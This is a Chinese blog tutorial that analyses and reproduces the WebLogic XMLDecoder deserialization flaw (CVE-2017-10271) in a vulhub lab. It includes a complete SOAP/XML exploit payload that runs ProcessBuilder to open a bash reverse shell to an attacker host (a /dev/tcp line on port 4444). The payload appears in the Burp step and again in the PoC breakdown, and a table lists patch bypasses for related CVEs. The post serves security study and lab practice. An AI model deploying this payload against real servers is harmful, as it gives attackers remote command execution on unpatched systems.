WebLogic-XMLDecoder(CVE-2017-10271)反序列化漏洞分析及复现

🍬 博主介绍👨‍🎓 博主介绍:大家好,我是 hacker-routing ,很高兴认识大家~
✨主攻领域:【渗透领域】【应急响应】 【Java、PHP】 【VulnHub靶场复现】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!

目录

0x1前言

0x2 漏洞原理及介绍

1、weblogic简介

2、XMLEncoder&XMLDecoder简介

0x3 漏洞复现

1、基于IDEA代码复现

2、基于vulhub漏洞复现

 Weblogic XMLDecoder漏洞对比

漏洞搭建环境:

0x4 weblogic XMLDecoder 漏洞POC详解


0x1前言

下面的内容主要是给师傅们介绍和讲解下weblogic XMLDecoder漏洞,这个漏洞有很多个版本,有多个cve漏洞,这里我主要从基于IDEA和vulhun环境搭建来给师傅们复现下这个weblogic XMLDecoder漏洞。复现完成的师傅们,要是基础还可以,学过Java代码的可以尝试掌握下这个漏洞的POC构造,这个是底层代码原理,比较难,小白的话把漏洞原理以及漏洞复现完成即可!!!

0x2 漏洞原理及介绍

1、weblogic简介

WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。

2、XMLEncoder&XMLDecoder简介

XMLDecoder/XMLEncoder 是在JDK1.4版中添加的 XML 格式序列化持久性方案,使用 XMLEncoder 来生成表示 JavaBeans 组件(bean)的 XML 文档,用 XMLDecoder 读取使用 XMLEncoder 创建的XML文档获取JavaBeans。说直白点XMLDecoder就是用来解析XML文档的。

0x3 漏洞复现

1、基于IDEA代码复现

我们需要准备两个Java代码,一个是XmlDecoder.java,另一个是poc.xml两个代码文件,其具体内容如下:

1、先新建一个叫做XmlDecoder.java的代码文件,需要注意的是代码中poc.xml的位置

import java.beans.XMLDecoder;
import java.io.BufferedInputStream;
import java.io.FileInputStream;
import java.io.FileNotFoundException;public class XmlDecoder {public static void main(String[] args) throws FileNotFoundException {XMLDecoder d = new XMLDecoder(new BufferedInputStream(new FileInputStream("E:/tool/IDEA-java/java代码/routing/src/pom.xml")));Object result = d.readObject();d.close();}
}

2、再新建一个叫做poc.xml的代码文件,这里是到时候运行XmlDecoder.java文件,然后poc.xml代码执行了java.lang.ProcessBuilder("calc").start()的操作,也就是弹出本地计算器来。

要是MAC的笔记本,需要把”calc“改成”open -a Calculator“

<java><object class="java.lang.ProcessBuilder"><array class="java.lang.String" length="1" ><void index="0"><string>calc</string></void></array><void method="start"/></object>
</java>

3、执行XmlDecoder.java代码文件:

至此这里简单的XmlDecoder漏洞就复现完成了。

2、基于vulhub漏洞复现

有关Weblogic XMLDecoder反序列化漏洞包括CVE-2017-3506、CVE-2017-10271、CVE-2019-2725、CVE-2019-2729等,其漏洞原理相似,差异主要在于出问题的包、黑名单过滤的标签,这里进行一下对比。

 Weblogic XMLDecoder漏洞对比
漏洞编号影响版本补丁/绕过
CVE-2017-350610.3.6.0 12.1.3.0 12.2.1.1 12.2.1.2补丁过滤了object标签,可用void标签绕过
CVE-2017-1027110.3.6.0 12.1.3.0 12.2.1.1 12.2.1.2补丁过滤了new,method标签,且void后面只能跟index,array后面可以跟class,前提是bytes类型
CVE-2019-272510.3.6.0 12.1.3.0 12.2.1.3 12.2.1.4 14.1.1.0黑名单禁用了class标签,可用<array method =“forName"> 绕过
CVE-2019-272910.3.6.0 12.1.3.0 12.2.1.3

漏洞搭建环境:

ubantu:IP地址 10.10.10.130 (先要安装docker,然后下载vulhub) 启动vulhub里面的weblogic环境目录对应的漏洞

kali : IP地址 10.10.10.128 用于接收ubantu的反弹shell

我们启动环境前,先要到vulhub指定的漏洞位置/vulhub/weblogic/CVE-2017-10271目录下,然后执行下面的命令,这个靶场环境内存较大,所以启动的时候很慢,耐心等待下。

出现done关键字,那么说明环境启动成功了。

docker-compose up -d

查看这个环境的具体详细信息:

docker ps -a

访问这个IP+7001端口,出现下面的404界面,说明我们成功访问到了这个靶机的环境页面

第一步:weblogic XMLDecoder反序列化漏洞的出现位置有很多路径,我们这里选择/wls-wsat/CoordinatorPortType路径:

第二步:把访问这个可能触发XMLDecoder反序列化漏洞的页面的GET请求抓下来(BurpSuite抓个包),可以看到其HTTP请求如下图:

第三步:把这个包发送到重放器Repeater,一会改包添加poc。现在我们在攻击机kali中开启一个nc监听,监听6666端口,用于接收反弹shell:

第四步:改包,把刚才抓到的HTTP GET请求,修改请求方式为POST,然后加上反弹shell的恶意代码,注意要把Content-Type修改为text/xml 。在请求体中添加如下XML格式的poc:

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">  <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">  <java class="java.beans.XMLDecoder"><object class="java.lang.ProcessBuilder"><array class="java.lang.String" length="3"><void index="0"><string>/bin/bash</string></void><void index="1"><string>-c</string></void><void index="2"><string>bash -i &gt;&amp; /dev/tcp/10.10.10.128/4444 0&gt;&amp;1</string></void></array><void method="start"></void></object></java></work:WorkContext> </soapenv:Header>  <soapenv:Body/> 
</soapenv:Envelope>

完整的请求包如下,需要注意下面的这两个地方,首先要把Content-Type修改为text/xml ,IP和端口改成自己开始利用kali监听的IP和端口:

第五步:改包之后,发送请求,响应包的状态码是500,如下图所示,如果响应包如下图这样,查看kali也发现反弹shell已经成功了,说明漏洞利用成功了。

把docker容器的镜像文件关闭,然后删除,至此我们的weblogic XMLDecoder漏洞就复现成功了。

root@routing-virtual-machine:~/vulhub/weblogic/CVE-2017-10271# docker ps
CONTAINER ID   IMAGE                           COMMAND              CREATED          STATUS          PORTS                                                 NAMES
ca19ed26fee8   vulhub/weblogic:10.3.6.0-2017   "startWebLogic.sh"   49 minutes ago   Up 49 minutes   5556/tcp, 0.0.0.0:7001->7001/tcp, :::7001->7001/tcp   cve-2017-10271_weblogic_1
root@routing-virtual-machine:~/vulhub/weblogic/CVE-2017-10271# docker stop ca19ed26fee8
ca19ed26fee8
root@routing-virtual-machine:~/vulhub/weblogic/CVE-2017-10271# docker rm ca19ed26fee8
ca19ed26fee8
root@routing-virtual-machine:~/vulhub/weblogic/CVE-2017-10271# docker ps
CONTAINER ID   IMAGE     COMMAND   CREATED   STATUS    PORTS     NAMES
root@routing-virtual-machine:~/vulhub/weblogic/CVE-2017-10271#

0x4 weblogic XMLDecoder 漏洞POC详解

这里参考红队大佬的poc代码构造解析,恶意的XML数据如下:

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">  <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">  <java class="java.beans.XMLDecoder"><object class="java.lang.ProcessBuilder"><array class="java.lang.String" length="3"><void index="0"><string>/bin/bash</string></void><void index="1"><string>-c</string></void><void index="2"><string>bash -i &gt;&amp; /dev/tcp/10.10.10.128/4444 0&gt;&amp;1</string></void></array><void method="start"></void></object></java></work:WorkContext> </soapenv:Header>  <soapenv:Body/> 
</soapenv:Envelope>

java标签

这个标签是使用 XMLEncoder 来生成表示 JavaBeans 组件(bean)的 XML 文档,用 XMLDecoder 读取使用 XMLEncoder 创建的XML文档获取JavaBeans。

<java class="java.beans.XMLDecoder">

object标签

通过 <object> 标签表示对象, 其class 属性指定具体类(用于调用其内部方法),此处为ProcessBuilder类,ProcessBuilder可以用于执行cmd命令,调用ProcessBuilder的start()方法启动进程,start将会在后续的标签void进行介绍。

<object class="java.lang.ProcessBuilder">

array标签/void标签

<array class="java.lang.String" length="3"><void index="0"><string>/bin/bash</string></void><void index="1"><string>-c</string></void><void index="2"><string>bash -i &gt;&amp; /dev/tcp/192.168.219.134/4444 0&gt;&amp;1</string></void>
</array>

通过 <array> 标签表示数组, class 属性指定具体类,此处为字符串,在array标签内部使用 void 标签的 index 属性来指定数组索引赋值,此处相当于创建了一个长度为3的字符串数组,三个元素的内容分别相当于:

str[0] = '/bin/bash'
str[1] = '-c' 
str[2] = 'bash -i >& /dev/tcp/192.168.219.134/4444'

其中str[0]指出了cmd命令的位置,str[1]表示执行,str[2]表示执行的具体命令。注意反弹shell的语句需要进行编码,否则解析XML的时候将出现格式错误 。

<void method="start"></void>

void标签中的start方法是前述ProcessBuilder类的一个方法,调用ProcessBuilder的start()方法可以启动命令执行的进程。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/814225.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

OpenCV轻松入门(六)——简单图片处理【马赛克、毛玻璃、浮雕效果】

马赛克效果 马赛克指现行广为使用的一种图像&#xff08;视频&#xff09;处理手段&#xff0c;此手段将影像特定区域的色阶细节劣化并造成色块打乱的效果&#xff0c;因为这种模糊看上去有一个个的小格子组成&#xff0c;便形象的称这种画面为马赛克。其目的通常是使之无法辨…

Unity让地图素材遮挡人物

点击编辑/项目设置/图形&#xff0c;透明度排序模式设置自定义轴&#xff0c;透明度排序轴Y设置为1其他为0。 此时人物和地图素材的图层排序相等&#xff0c;当人物的高度大于地图素材时&#xff0c;人物则被遮挡。

C# 图形化的导航界面的设计方法

目录 一、涉及到的知识点 1、BackColor属性 2、FlatStyle属性 3、TextlmageRelation属性 4、其它共性设计 二、设计实例 1、 Resources.Designer.cs 2、Form1.Designer.cs 3、Form1.cs 4、运行结果 图形化导航用于代替文字导航&#xff0c;比如对Button控件 进行图形…

222 基于matlab的天线线性阵列分布

基于matlab的天线线性阵列分布。运用遗传算法&#xff0c;对天线的庞斑进行优化&#xff0c;得到最佳的线性阵列的分布。输出迭代曲线&#xff0c;主平面方向图&#xff0c;阵元放置位置。程序已调通&#xff0c;可直接运行。 222 天线线性阵列分布 - 小红书 (xiaohongshu.com…

底层开发必知的三个内存结构概念

大家好&#xff0c;今天给大家介绍底层开发必知的三个内存结构概念&#xff0c;文章末尾附有分享大家一个资料包&#xff0c;差不多150多G。里面学习内容、面经、项目都比较新也比较全&#xff01;可进群免费领取。 在底层开发中&#xff0c;以下是三个关键的内存结构概念&…

常见的数据结构

链表 链表&#xff1a;适用于插入删除多、读少的场景。 链表在新增、删除数据都比较容易&#xff0c;可以在 O(1) 的时间复杂度内完成。 但对于查找&#xff0c;不管是按照位置的查找还是按照数值条件的查找&#xff0c;都需要对全部数据进行遍历。这显然就是 O(n) 的时间复杂…

爱奇艺APP Android低端机性能优化

01 背景介绍 在智能手机市场上&#xff0c;高端机型经常备受瞩目&#xff0c;但低端机型亦占据了不可忽视的份额。众多厂商为满足低端市场的需求&#xff0c;不断推出低配系列手机。另外过去几年的中高端机型&#xff0c;随着系统硬件的快速迭代&#xff0c;现已经被归类为低端…

【大语言模型】轻松本地部署Stable Diffusion

硬件要求&#xff1a; 配备至少8GB VRAM的GPU&#xff0c;如果你的电脑只有CPU&#xff0c;请看到最后。根据部署规模&#xff0c;需要足够的CPU和RAM。 软件要求&#xff1a; Python 3.7或更高版本。支持NVIDIA GPU的PyTorch。Hugging Face的Diffusers库。Hugging Face的Tr…

4.2 面向对象程序设计-类的继承实验

本文仅供学习交流&#xff0c;严禁用于商业用途&#xff0c;如本文涉及侵权请及时联系将于24小时内删除 目录 1.实验内容 2.实验原理 2.1类的继承 2.2 继承的优点和缺点 2.3 继承的方式 3.实验代码 1.实验内容 创建一个父类CalcTime&#xff0c;在父类中依次定义用于保存…

Pods/Nodes

&#x1f4d5;作者简介&#xff1a; 过去日记&#xff0c;致力于Java、GoLang,Rust等多种编程语言&#xff0c;热爱技术&#xff0c;喜欢游戏的博主。 &#x1f4d8;相关专栏Rust初阶教程、go语言基础系列、spring教程等&#xff0c;大家有兴趣的可以看一看 &#x1f4d9;Jav…

初步学习node.js文件模块

环境已安装好&#xff1b; 写一个read1.js如下&#xff1b; var fs require("fs"); var data ;// 创建一个流 var stream1 fs.createReadStream(test1.jsp); stream1.setEncoding(UTF8);// 绑定data事件 stream1.on(data, function(mydata) {data mydata; });/…

程序员Java.vue,python前端后端爬虫开发资源分享

bat面试资料 bat面试题汇总 提取码&#xff1a;724z 更多资料

项目总体测试计划书

目的&#xff1a;编写此测试方案的目的在于明确测试内容、测试环境、测试人员、测试工作进度计划等&#xff0c;以保证测试工作能够在有序的计划安排进行。 测试目标&#xff1a;确保XXX项目的需求分析说明书中的所有功能需求都已实现&#xff0c;且能正常运行&#xff1b;确保…

【Web】DASCTF 2023 0X401七月暑期挑战赛题解

目录 EzFlask MyPicDisk ez_cms ez_py 让俺看看401web题 EzFlask 进来直接给了源码 import uuidfrom flask import Flask, request, session from secret import black_list import jsonapp Flask(__name__) app.secret_key str(uuid.uuid4())def check(data):for i i…

React ant 点击导航条闪烁

问题 : 点击当前位置会出现闪一下的效果 另一种点击方式 , 不会闪 原因 : 没有传递具体的参数给点击事件 , 导致在函数内部无法准确判断要展示哪个子菜单&#xff0c;可能导致页面状态的短暂变化&#xff0c;出现闪烁效果 代码 : // 左侧子菜单弹出const showSonMenu routeK…

【数据挖掘】实验7:高级绘图(上)

实验7&#xff1a;高级绘图&#xff08;上&#xff09; 一&#xff1a;实验目的与要求 1&#xff1a;了解R语言中各种图形元素的添加方法&#xff0c;并能够灵活应用这些元素。 2&#xff1a;了解R语言中的各种图形函数&#xff0c;掌握常见图形的绘制方法。 二&#xff1a;实…

python-study-day1

ps&#xff1a;前言 可做毕设&#xff0c;html&#xff0c;web&#xff0c;app&#xff0c;小程序&#xff0c;bug修改&#xff0c;可加急 作者自述 作为一名前端开发工程师&#xff0c;这个大环境不好的情况下&#xff0c;我试过我前端接单子但是没有后端&#xff0c…

用java实现单链表的头插,尾插和反转

今天来练习以下单链表的一些操作&#xff0c;以下的操作都是带有头节点的链表。 定义链表节点类 定义了节点中的值&#xff0c;节点的下一个节点&#xff0c;和一些基本的方法。 public static class ListNode{int val;ListNode next;public ListNode() {}public ListNode(in…

NPM 命令备忘单

NPM 简介 Node Package Manager (NPM) 是 Node.js 环境中不可或缺的命令行工具&#xff0c;充当包管理器来安装、更新和管理 Node.js 应用程序的库、包和模块。对于每个 Node.js 开发人员来说&#xff0c;无论他们的经验水平如何&#xff0c;它都是一个关键工具。 NPM 的主要…

pom.xml显示灰色并被划线

在使用 IDEA 进行开发的过程中&#xff0c;有时候会遇到 pom.xml 显示灰色并被划线的情况&#xff0c;如下图&#xff1a; 这一般是因为该文件被 Maven 忽略导致的&#xff0c;可以进行如下操作恢复&#xff1a; 设置保存后&#xff0c;可以看到 pom.xml 恢复了正常&#xff1a…